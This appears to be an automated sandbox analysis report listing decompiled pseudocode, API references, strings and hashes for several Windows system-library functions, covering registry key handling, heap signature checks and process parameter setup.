Opcode Fuzzy Hash: d4291d927c738c8cab9526d91fe7cfb927d76908c6154340bddc5b2f1b3cc924
Instruction Fuzzy Hash: 37D1DD70A44646DFDB18CF69C490BAAB7F1FF49308F24856DD8599BB41E338A846CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE40F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6CE40F48(signed short* __ecx, long* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed short _v36;
				signed int _v40;
				long* _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				intOrPtr _v60;
				void* _v64;
				void* _t60;
				void* _t66;
				void* _t69;
				void* _t72;
				intOrPtr _t87;
				char _t93;
				signed int* _t95;
				intOrPtr _t97;
				signed int _t101;
				intOrPtr _t104;
				signed int _t107;
				signed short _t109;
				char _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr _t116;
				void* _t117;
				signed int _t118;
				void* _t120;

				_t120 = (_t118 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_t87 = _a4;
				 *_a8 = 0;
				_t107 =  *__ecx & 0x0000ffff;
				_v52 = 0;
				_v56 = 0;
				_v57 = 0;
				_t101 = _t107;
				_t114 = __ecx[2] + _t101;
				_v40 = __ecx;
				if(_t87 != 0) {
					if(_t101 + 2 > (__ecx[1] & 0x0000ffff)) {
						L28:
						_t60 = 0xc000000d;
						goto L16;
					}
					_t93 = 0;
					if( *_t114 == 0) {
						goto L2;
					}
					goto L28;
				} else {
					_t93 = 0;
					L2:
					if(_t101 == 0) {
						L7:
						_t109 = _t107 - _t101;
						_v32 = _t114;
						_v36 = _t109;
						if((_t109 & 0x0000ffff) != _t109) {
							_t60 = 0xc0000023;
							L16:
							return _t60;
						}
						if(_t87 != 0) {
							_t116 = _v48;
							_v58 = 1;
							_t60 = E6CE410D7( &_v52, _t116, _t87);
						} else {
							_v58 = _t93;
							_t60 = E6CE4108B( &_v52);
							_t116 = _v48;
						}
						if(_t60 < 0) {
							goto L16;
						} else {
							_t110 = _v52;
							_v20 =  &_v36;
							_v28 = 0x18;
							_v24 = _t110;
							_v16 = 0x240;
							_v12 = 0;
							_v8 = 0;
							if(_t87 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6CE496D0();
							} else {
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6CE49600();
							}
							_t117 = _t66;
							if(_v58 != 0) {
								_push(_t110);
								E6CE495D0();
							}
							if(_t117 >= 0) {
								_t95 =  &_v52;
								_v52 = _v56;
								_t69 = E6CE08239(_t95, _v48, _v40);
								_t111 = _v56;
								_t117 = _t69;
								if(_t117 < 0) {
									L24:
									if(_t111 != 0) {
										_push(_t111);
										E6CE495D0();
									}
									goto L15;
								}
								_t104 = _v56;
								if(_v57 != 0 && _t111 == _t104 && _t87 != 0) {
									_push(_t95);
									_v52 = 0;
									_t72 = E6CE98372( &_v52, _t104, _v48);
									_t111 = _v60;
									_t117 = _t72;
									if(_t117 >= 0) {
										_t117 = E6CE16D30( &_v52, L"FilterFullPath");
										if(_t117 >= 0) {
											_t97 =  *((intOrPtr*)(_t120 + 0x24));
											_push( *(_t97 + 2) & 0x0000ffff);
											_push( *((intOrPtr*)(_t97 + 4)));
											_push(1);
											_push(0);
											_push( &_v52);
											_push(_t111);
											_t117 = E6CE49B00();
											if(_t117 >= 0) {
												 *((intOrPtr*)(_t120 + 0x28)) = 1;
												_t117 = E6CE16D30( &_v52, L"UseFilter");
												if(_t117 >= 0) {
													_push(4);
													_push(_t120 + 0x28);
													_push(4);
													_push(0);
													_push( &_v52);
													_push(_v60);
													_t117 = E6CE49B00();
												}
											}
										}
									}
									_push(_v60);
									E6CE495D0();
								}
								if(_t117 < 0) {
									goto L24;
								} else {
									 *_a8 = _t111;
									goto L15;
								}
							} else {
								L15:
								_t60 = _t117;
								goto L16;
							}
						}
					}
					L3:
					L3:
					if( *((short*)(_t114 - 2)) == 0x5c) {
						_v57 = 1;
					} else {
						goto L4;
					}
					goto L7;
					L4:
					_t114 = _t114 + 0xfffffffe;
					_t101 = _t101;
					if(_t101 != 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
			}

0x6ce40f50
0x6ce40f55
0x6ce40f5f
0x6ce40f63
0x6ce40f69
0x6ce40f6c
0x6ce40f70
0x6ce40f74
0x6ce40f78
0x6ce40f7a
0x6ce40f7c
0x6ce40f82
0x6ce7cc82
0x6ce7cc8f
0x6ce7cc8f
0x00000000
0x6ce7cc8f
0x6ce7cc84
0x6ce7cc89
0x00000000
0x00000000
0x00000000
0x6ce40f88
0x6ce40f88
0x6ce40f8a
0x6ce40f8c
0x6ce40fa5
0x6ce40fa5
0x6ce40fa7
0x6ce40fae
0x6ce40fb5
0x6ce7cc99
0x6ce41029
0x6ce4102f
0x6ce4102f
0x6ce40fbd
0x6ce7cca3
0x6ce7ccae
0x6ce7ccb3
0x6ce40fc3
0x6ce40fc3
0x6ce40fcb
0x6ce40fd0
0x6ce40fd0
0x6ce40fd6
0x00000000
0x6ce40fd8
0x6ce40fd8
0x6ce40fe0
0x6ce40fe6
0x6ce40fee
0x6ce40ff2
0x6ce40ffa
0x6ce40ffe
0x6ce41004
0x6ce7ccbd
0x6ce7ccbe
0x6ce7ccbf
0x6ce7ccc0
0x6ce7ccc5
0x6ce7ccc6
0x6ce7cccb
0x6ce7cccc
0x6ce4100a
0x6ce4100e
0x6ce4100f
0x6ce41014
0x6ce41015
0x6ce41015
0x6ce4101f
0x6ce41021
0x6ce41077
0x6ce41078
0x6ce41078
0x6ce41025
0x6ce41036
0x6ce41042
0x6ce41046
0x6ce4104b
0x6ce4104f
0x6ce41053
0x6ce4107f
0x6ce41081
0x6ce41083
0x6ce41084
0x6ce41084
0x00000000
0x6ce41081
0x6ce4105a
0x6ce4105e
0x6ce7ccd6
0x6ce7cce1
0x6ce7cce5
0x6ce7ccea
0x6ce7ccee
0x6ce7ccf2
0x6ce7cd03
0x6ce7cd07
0x6ce7cd09
0x6ce7cd11
0x6ce7cd12
0x6ce7cd19
0x6ce7cd1b
0x6ce7cd1c
0x6ce7cd1d
0x6ce7cd23
0x6ce7cd27
0x6ce7cd32
0x6ce7cd40
0x6ce7cd44
0x6ce7cd46
0x6ce7cd4c
0x6ce7cd4d
0x6ce7cd4f
0x6ce7cd54
0x6ce7cd55
0x6ce7cd5e
0x6ce7cd5e
0x6ce7cd44
0x6ce7cd27
0x6ce7cd07
0x6ce7cd60
0x6ce7cd64
0x6ce7cd64
0x6ce4106e
0x00000000
0x6ce41070
0x6ce41073
0x00000000
0x6ce41073
0x6ce41027
0x6ce41027
0x6ce41027
0x00000000
0x6ce41027
0x6ce41025
0x6ce40fd6
0x00000000
0x6ce40f8e
0x6ce40f93
0x6ce40fa0
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce40f95
0x6ce40f95
0x6ce40f99
0x6ce40f9c
0x00000000
0x6ce40f9e
0x00000000
0x6ce40f9e
0x6ce40f9c

APIs

ZwOpenKey.1105(?,?,00000018), ref: 6CE41015
ZwClose.1105(?,?,?,00000018), ref: 6CE41078
ZwClose.1105(?,?,?,?,?,00000018), ref: 6CE41084

Strings

FilterFullPath, xrefs: 6CE7CCF4
UseFilter, xrefs: 6CE7CD29

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$Open
String ID: FilterFullPath$UseFilter
API String ID: 2976201327-4106802152
Opcode ID: 799f22a51d4fc5091a964a6f643206744bb20b75db729e500d7d32b24a70f26c
Instruction ID: ebdf3ee1090d889e548b48dbc0a0fa5749c88535137e27e95c223d3fae7fb146
Opcode Fuzzy Hash: 799f22a51d4fc5091a964a6f643206744bb20b75db729e500d7d32b24a70f26c
Instruction Fuzzy Hash: 8261F3715083519BD710CF69E440A6BBBF8AFC9758F258A2DF884A7710E730D909DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDF019, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 105
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E6CEDF019(intOrPtr __ecx, intOrPtr __edx, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v32;
				void* _v40;
				void* _v48;
				void* _t39;
				intOrPtr _t55;
				long _t56;
				intOrPtr* _t63;
				intOrPtr _t64;
				void* _t65;

				_v12 = _v12 & 0x00000000;
				_t55 = __edx;
				_t64 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				RtlInitUnicodeString( &_v40, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\CommonGlobUserSettings\\");
				_t63 = _a8;
				_t56 = E6CEDF13B(_t64, _t55,  &_v40, _t63,  &_v12);
				if(_t56 >= 0 && _v12 == 2) {
					_t56 = 0;
					_v16 = 0;
					_v8 = 0;
					RtlInitUnicodeString( &_v32, L"RedirectedKey");
					_t39 =  *0x6cde6cc8( *_t63,  &_v32, 2, 0, 0,  &_v8);
					if(_v8 > 0 && (_t39 == 0xc0000023 || _t39 == 0x80000005)) {
						_t65 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v8);
						if(_t65 != 0) {
							_push( &_v8);
							_push(_v8);
							_push(_t65);
							_push(2);
							_push( &_v32);
							_push( *_t63);
							if( *0x6cde6cc8() >= 0 &&  *((intOrPtr*)(_t65 + 4)) == 1) {
								_t22 = _t65 + 0xc; // 0xc
								RtlInitUnicodeString( &_v48, _t22);
								if(E6CEDF13B(_v24, _v20,  &_v48,  &_v16,  &_v12) >= 0) {
									 *0x6cde6cc4( *_t63);
									 *_t63 = _v16;
								}
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t65);
						}
					}
				}
				return _t56;
			}

0x6cedf021
0x6cedf030
0x6cedf032
0x6cedf035
0x6cedf038
0x6cedf03b
0x6cedf041
0x6cedf056
0x6cedf05a
0x6cedf072
0x6cedf075
0x6cedf078
0x6cedf07b
0x6cedf08f
0x6cedf098
0x6cedf0c3
0x6cedf0c7
0x6cedf0cc
0x6cedf0cd
0x6cedf0d3
0x6cedf0d4
0x6cedf0d6
0x6cedf0d7
0x6cedf0e1
0x6cedf0e9
0x6cedf0f1
0x6cedf110
0x6cedf114
0x6cedf11d
0x6cedf11d
0x6cedf110
0x6cedf12b
0x6cedf12b
0x6cedf0c7
0x6cedf098
0x6cedf138

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\,02000000,?,00000000), ref: 6CEDF03B

Part of subcall function 6CEDF13B: ZwOpenKey.1105(?,02000000,?,?,02000000,00000000), ref: 6CEDF182
Part of subcall function 6CEDF13B: ZwCreateKey.1105(?,02000000,00000018,00000000,00000000,00000000,6CEDF056), ref: 6CEDF19F

RtlInitUnicodeString.1105(?,RedirectedKey,?,?,00000000), ref: 6CEDF07B
ZwQueryValueKey.1105(?,?,00000002,00000000,00000000,?), ref: 6CEDF08F
RtlAllocateHeap.1105(?,00000008,?), ref: 6CEDF0BE
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?), ref: 6CEDF0D9
RtlInitUnicodeString.1105(?,0000000C), ref: 6CEDF0F1
ZwClose.1105(?,?,?,00000002), ref: 6CEDF114
RtlFreeHeap.1105(?,00000000,00000000), ref: 6CEDF12B

Strings

RedirectedKey, xrefs: 6CEDF06A
\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 6CEDF02B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$HeapQueryValue$AllocateCloseCreateFreeOpen
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 1683559675-1388552009
Opcode ID: c2ed6d35ee37a24fc387b3f3b4dd39bf7a6a0429d715e2d62f77513142883712
Instruction ID: 2c259b04a61644edfc6fc0f9a36372a850016bfe2cb37a735c4c469fbedecf80
Opcode Fuzzy Hash: c2ed6d35ee37a24fc387b3f3b4dd39bf7a6a0429d715e2d62f77513142883712
Instruction Fuzzy Hash: 3331FB76A01109AFEB11CF95C984EDEBBFCEB48318F214066E605E2651DB34AE06CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE040E1, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E6CE040E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6CE0B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E6CE0B150(", passed to %s", _t29);
					}
					_push("\n");
					E6CE0B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6cef6378 = 1;
						asm("int3");
						 *0x6cef6378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x6ce040e6
0x6ce040e8
0x6ce040f1
0x6ce6042d
0x6ce6044c
0x6ce60451
0x6ce6042f
0x6ce60444
0x6ce60449
0x6ce6045d
0x6ce60466
0x6ce6046e
0x6ce60474
0x6ce60475
0x6ce6047a
0x6ce6048a
0x6ce6048c
0x6ce60493
0x6ce60494
0x6ce60494
0x00000000
0x6ce6049b
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,6CEC38D6), ref: 6CE60444
DbgPrint.1105(Invalid heap signature for heap at %p,?,?,?,?,?,?,?,6CEC38D6), ref: 6CE6045D
DbgPrint.1105(, passed to %s,RtlGetUserInfoHeap,?,?,?,?,?,?,6CEC38D6), ref: 6CE6046E
DbgPrint.1105(6CDE6B94,?,?,?,?,?,?,6CEC38D6), ref: 6CE6047A

Strings

HEAP[%wZ]: , xrefs: 6CE6043F
, passed to %s, xrefs: 6CE60469
HEAP: , xrefs: 6CE6044C
RtlGetUserInfoHeap, xrefs: 6CE60468
Invalid heap signature for heap at %p, xrefs: 6CE60458

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: 4f8e25825bf16a226d331539527379f59276e18749967d13d34ac72c50f01c1e
Instruction ID: 5cc8ce4f67bc70522b19954645fd59e44d573ef3df680aba19302b02a77c5965
Opcode Fuzzy Hash: 4f8e25825bf16a226d331539527379f59276e18749967d13d34ac72c50f01c1e
Instruction Fuzzy Hash: 6E0128336551D4DEE3258765E44CF9B77B4EB46738F34442DF0088BF528BA49449C155

Uniqueness

Uniqueness Score: -1.00%

Function 6CE06800, Relevance: 16.9, APIs: 11, Instructions: 373
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E6CE06800(void* __ebx, void* __edi, void* __esi, void** _a4, signed short* _a8, intOrPtr _a12, signed short* _a16, signed short* _a20, void* _a24, intOrPtr* _a28, intOrPtr* _a32, intOrPtr* _a36, intOrPtr* _a40, signed char _a44) {
				char _v5;
				void* _v12;
				void _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _t124;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t129;
				void* _t130;
				void* _t131;
				intOrPtr* _t132;
				int _t153;
				long _t154;
				void* _t158;
				void _t162;
				void* _t194;
				int _t196;
				void* _t205;
				void* _t206;
				signed short* _t207;
				void* _t209;
				signed int _t211;
				intOrPtr* _t212;
				signed short* _t213;
				signed int _t215;
				signed short* _t217;
				void* _t219;
				void _t228;
				void _t229;
				signed int _t238;
				intOrPtr _t256;
				void* _t262;
				short _t268;
				intOrPtr _t269;
				signed int _t271;
				void* _t272;
				intOrPtr* _t273;
				void* _t275;
				intOrPtr* _t276;
				long _t278;
				void* _t279;

				_t275 = __esi;
				_t272 = __edi;
				_t205 = __ebx;
				if((_a44 & 0xfffffffe) != 0) {
					L61:
					return 0xc000000d;
				}
				_v24 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				if(E6CE06BF3(_a8) < 0) {
					goto L61;
				}
				_t256 = _a12;
				_t215 = 0;
				if(_t256 != 0) {
					_t124 = E6CE06BF3(_t256);
					_t215 = 0;
				} else {
					_t124 = 0;
				}
				if(_t124 < 0) {
					goto L61;
				} else {
					_push(_t205);
					_v5 = _t215;
					_v32 = _t215;
					_t217 = _a16;
					_t206 = 0x5c;
					if(_t217 == 0) {
						L12:
						_t207 = _a20;
						if(_t207 == 0) {
							_t125 = 0;
						} else {
							_t125 = E6CE06BF3(_t207);
						}
						if(_t125 < 0) {
							L65:
							_t126 = 0xc000000d;
							goto L53;
						} else {
							_t218 = _a28;
							if(_a28 == 0) {
								_t219 = 0;
								_t127 = 0;
							} else {
								_t127 = E6CE06BF3(_t218);
								_t219 = 0;
							}
							if(_t127 < 0) {
								goto L65;
							} else {
								_t128 = _a32;
								if(_a32 == 0) {
									_t129 = _t219;
								} else {
									_t129 = E6CE06BF3(_t128);
									_t219 = 0;
								}
								if(_t129 < 0) {
									goto L65;
								} else {
									_push(_t275);
									_t276 = _a36;
									if(_t276 == 0) {
										_t130 = _t219;
									} else {
										_t130 = E6CE06BF3(_t276);
										_t219 = 0;
									}
									if(_t130 < 0) {
										_t126 = 0xc000000d;
										goto L52;
									} else {
										_push(_t272);
										_t273 = _a40;
										if(_t273 == 0) {
											_t131 = _t219;
										} else {
											_t131 = E6CE06BF3(_t273);
										}
										if(_t131 < 0) {
											_t126 = 0xc000000d;
											goto L51;
										} else {
											if(_t207 == 0) {
												_t207 = _a8;
												_a20 = _t207;
											}
											_t132 = _a28;
											if(_t132 == 0) {
												_t132 = 0x6cde1ab0;
												_a28 = 0x6cde1ab0;
											}
											if(_a32 == 0) {
												_a32 = 0x6cde1ab0;
											}
											if(_t276 == 0) {
												_t276 = 0x6cde1ab0;
												_a36 = 0x6cde1ab0;
											}
											if(_t273 == 0) {
												_t273 = 0x6cde1ab0;
											}
											_t209 = 3;
											_t278 = 0;
											_t228 = (( *_t207 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_t132 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + (( *_a8 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a32 + 2) & 0x0000ffff) + _t209 & 0xfffffffc) + 0x4ac + (( *(_t276 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
											_v16 = _t228;
											if( *_t273 != 0) {
												_t228 = _t228 + (( *(_t273 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t228;
											}
											if(_t256 != 0) {
												_t229 = _t228 + (( *(_t256 + 2) & 0x0000ffff) + _t209 & 0xfffffffc);
												_v16 = _t229;
											}
											if(_a24 != _t278) {
												_t153 = E6CE3585B(_a24, 1);
												_t229 = _v16;
											} else {
												_t153 =  *((intOrPtr*)(_v24 + 0x290));
											}
											_v20 = _t153;
											_t211 = _t153 + 0x00000003 & 0xfffffffc;
											if(_t211 < _t153) {
												L77:
												_t126 = 0xc0000095;
												goto L51;
											} else {
												while(1) {
													_t154 = _t211 + _t229;
													if(_t154 < _t229) {
														goto L77;
													}
													_t279 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t278, _t154);
													if(_t279 == 0) {
														_t126 = 0xc000009a;
														L51:
														L52:
														L53:
														return _t126;
													}
													_t158 = _t279 + _v16;
													_v12 = _t158;
													if(_a24 != 0) {
														memcpy(_t158, _a24, _v20);
														L42:
														memset(_t279, 0, 0x2a4);
														_t162 = _v16;
														 *_t279 = _t162;
														 *(_t279 + 4) = _t162;
														 *(_t279 + 0x290) = _t211;
														 *((intOrPtr*)(_t279 + 0xc)) = 0;
														_t53 = _t279 + 0x24; // 0x24
														_t212 = _t53;
														 *((intOrPtr*)(_t279 + 0x2c)) = 0;
														 *((intOrPtr*)(_t279 + 0x48)) = _v12;
														_t57 = _t279 + 0x2a4; // 0x2a4
														_v12 = _t57;
														 *((intOrPtr*)(_t279 + 8)) = 1;
														 *(_t279 + 0x14) =  *(_v24 + 0x14) & 1;
														_t169 = _a16;
														if(_a16 == 0) {
															L6CE1EEF0(0x6cef79a0);
															E6CE06C14( &_v12, _t212, _v24 + 0x24, 0x208);
															E6CE1EB70( &_v12, 0x6cef79a0);
														} else {
															E6CE06C14( &_v12, _t212, _t169, 0x208);
															if(_v5 != 0) {
																_t268 = 0x5c;
																 *((short*)( *((intOrPtr*)(_t279 + 0x28)) + _v32 * 2)) = _t268;
																_t194 = 2;
																 *_t212 =  *_t212 + _t194;
															}
														}
														_t234 = _a12;
														if(_a12 != 0) {
															_t104 = _t279 + 0x30; // 0x30
															E6CE06C14( &_v12, _t104, _t234,  *(_t234 + 2) & 0x0000ffff);
														}
														_t72 = _t279 + 0x38; // 0x38
														E6CE06C14( &_v12, _t72, _a8, ( *_a8 & 0x0000ffff) + 2);
														_t213 = _a20;
														_t75 = _t279 + 0x40; // 0x40
														_t262 = _t75;
														_t238 =  *_t213 & 0x0000ffff;
														_t180 = _t213[1] & 0x0000ffff;
														if(_t238 != (_t213[1] & 0x0000ffff)) {
															_t180 = _t238 + 2;
														}
														E6CE06C14( &_v12, _t262, _t213, _t180);
														_t80 = _t279 + 0x70; // 0x70
														E6CE06C14( &_v12, _t80, _a28,  *(_a28 + 2) & 0x0000ffff);
														_t84 = _t279 + 0x78; // 0x78
														E6CE06C14( &_v12, _t84, _a32,  *(_a32 + 2) & 0x0000ffff);
														_t88 = _t279 + 0x80; // 0x80
														E6CE06C14( &_v12, _t88, _a36,  *(_a36 + 2) & 0x0000ffff);
														if( *_t273 != 0) {
															_t118 = _t279 + 0x88; // 0x88
															E6CE06C14( &_v12, _t118, _t273,  *(_t273 + 2) & 0x0000ffff);
														}
														if((_a44 & 0x00000001) == 0) {
															_t279 = E6CE8BCB0(_t279);
														}
														_t126 = 0;
														 *_a4 = _t279;
														goto L51;
													}
													L6CE1EEF0(0x6cef79a0);
													_t269 = _v24;
													_t196 =  *(_t269 + 0x290);
													_v20 = _t196;
													_t251 = _t196 + 0x00000003 & 0xfffffffc;
													_v28 = _t196 + 0x00000003 & 0xfffffffc;
													if(_t196 > _t211) {
														E6CE1EB70(_t251, 0x6cef79a0);
														_t278 = 0;
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t279);
														_t211 = _v28;
														_t229 = _v16;
														if(_t211 >= _v20) {
															continue;
														}
														goto L77;
													}
													memcpy(_v12,  *(_t269 + 0x48), _t196);
													E6CE1EB70(_t251, 0x6cef79a0);
													_t211 = _v28;
													goto L42;
												}
												goto L77;
											}
										}
									}
								}
							}
						}
					}
					_t271 = ( *_t217 & 0x0000ffff) >> 1;
					_v32 = _t271;
					if(E6CE06BF3(_t217) < 0 || _t271 == 0) {
						goto L65;
					} else {
						if( *((intOrPtr*)(_t217[2] + _t271 * 2 - 2)) == _t206) {
							L11:
							_t256 = _a12;
							goto L12;
						}
						if(_t271 > 0x103) {
							goto L65;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x6ce06800
0x6ce06800
0x6ce06800
0x6ce0680f
0x6ce61b26
0x00000000
0x6ce61b26
0x6ce06821
0x6ce0682b
0x00000000
0x00000000
0x6ce06831
0x6ce06834
0x6ce06838
0x6ce06b68
0x6ce06b6d
0x6ce0683e
0x6ce0683e
0x6ce0683e
0x6ce06842
0x00000000
0x6ce06848
0x6ce06848
0x6ce06849
0x6ce0684c
0x6ce0684f
0x6ce06854
0x6ce06857
0x6ce06893
0x6ce06893
0x6ce06898
0x6ce61b30
0x6ce0689e
0x6ce068a0
0x6ce068a0
0x6ce068a7
0x6ce61b47
0x6ce61b47
0x00000000
0x6ce068ad
0x6ce068ad
0x6ce068b2
0x6ce61b37
0x6ce61b39
0x6ce068b8
0x6ce068b8
0x6ce068bd
0x6ce068bd
0x6ce068c1
0x00000000
0x6ce068c7
0x6ce068c7
0x6ce068cc
0x6ce61b40
0x6ce068d2
0x6ce068d4
0x6ce068d9
0x6ce068d9
0x6ce068dd
0x00000000
0x6ce068e3
0x6ce068e3
0x6ce068e4
0x6ce068e9
0x6ce61b51
0x6ce068ef
0x6ce068f1
0x6ce068f6
0x6ce068f6
0x6ce068fa
0x6ce61b58
0x00000000
0x6ce06900
0x6ce06900
0x6ce06901
0x6ce06906
0x6ce61b62
0x6ce0690c
0x6ce0690e
0x6ce0690e
0x6ce06915
0x6ce61b69
0x00000000
0x6ce0691b
0x6ce0691d
0x6ce61b73
0x6ce61b76
0x6ce61b76
0x6ce06923
0x6ce0692d
0x6ce61b7e
0x6ce61b80
0x6ce61b80
0x6ce06937
0x6ce61b88
0x6ce61b88
0x6ce0693f
0x6ce61b90
0x6ce61b92
0x6ce61b92
0x6ce06947
0x6ce61b9a
0x6ce61b9a
0x6ce06959
0x6ce0698f
0x6ce06991
0x6ce06993
0x6ce06999
0x6ce61baa
0x6ce61bac
0x6ce61bac
0x6ce069a1
0x6ce06b7d
0x6ce06b7f
0x6ce06b7f
0x6ce069aa
0x6ce06b8d
0x6ce06b92
0x6ce069b0
0x6ce069b3
0x6ce069b3
0x6ce069bc
0x6ce069bf
0x6ce069c4
0x6ce61bdf
0x6ce61bdf
0x00000000
0x6ce069ca
0x6ce069ca
0x6ce069ca
0x6ce069cf
0x00000000
0x00000000
0x6ce069e5
0x6ce069e9
0x6ce61c0f
0x6ce06b5d
0x6ce06b5e
0x6ce06b5f
0x00000000
0x6ce06b5f
0x6ce069f2
0x6ce069f8
0x6ce069fb
0x6ce06ba1
0x6ce06a44
0x6ce06a4d
0x6ce06a52
0x6ce06a57
0x6ce06a5a
0x6ce06a62
0x6ce06a68
0x6ce06a6b
0x6ce06a6b
0x6ce06a6e
0x6ce06a74
0x6ce06a77
0x6ce06a7d
0x6ce06a83
0x6ce06a8b
0x6ce06a8e
0x6ce06a93
0x6ce06bb3
0x6ce06bc9
0x6ce06bd3
0x6ce06a99
0x6ce06aa4
0x6ce06aad
0x6ce06ab7
0x6ce06aba
0x6ce06abe
0x6ce06abf
0x6ce06abf
0x6ce06aad
0x6ce06ac2
0x6ce06ac7
0x6ce06be1
0x6ce06be9
0x6ce06be9
0x6ce06ad0
0x6ce06ade
0x6ce06ae3
0x6ce06ae6
0x6ce06ae6
0x6ce06ae9
0x6ce06aec
0x6ce06af3
0x6ce06af5
0x6ce06af5
0x6ce06afd
0x6ce06b05
0x6ce06b11
0x6ce06b19
0x6ce06b25
0x6ce06b2d
0x6ce06b3c
0x6ce06b46
0x6ce61bed
0x6ce61bf8
0x6ce61bf8
0x6ce06b50
0x6ce61c08
0x6ce61c08
0x6ce06b59
0x6ce06b5b
0x00000000
0x6ce06b5b
0x6ce06a06
0x6ce06a0b
0x6ce06a0e
0x6ce06a14
0x6ce06a1a
0x6ce06a1d
0x6ce06a22
0x6ce61bb9
0x6ce61bc5
0x6ce61bcb
0x6ce61bd0
0x6ce61bd3
0x6ce61bd9
0x00000000
0x00000000
0x00000000
0x6ce61bd9
0x6ce06a2f
0x6ce06a3c
0x6ce06a41
0x00000000
0x6ce06a41
0x00000000
0x6ce069ca
0x6ce069c4
0x6ce06915
0x6ce068fa
0x6ce068dd
0x6ce068c1
0x6ce068a7
0x6ce0685c
0x6ce0685e
0x6ce06868
0x00000000
0x6ce06876
0x6ce0687e
0x6ce06890
0x6ce06890
0x00000000
0x6ce06890
0x6ce06886
0x00000000
0x00000000
0x6ce0688c
0x00000000
0x6ce0688c
0x6ce06868

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6CE069E0
RtlEnterCriticalSection.1105(6CEF79A0,?,00000000,?), ref: 6CE06A06
memcpy.1105(?,?,?,6CEF79A0,?,00000000,?), ref: 6CE06A2F
RtlLeaveCriticalSection.1105(6CEF79A0), ref: 6CE06A3C
memset.1105(00000000,00000000,000002A4,6CEF79A0), ref: 6CE06A4D

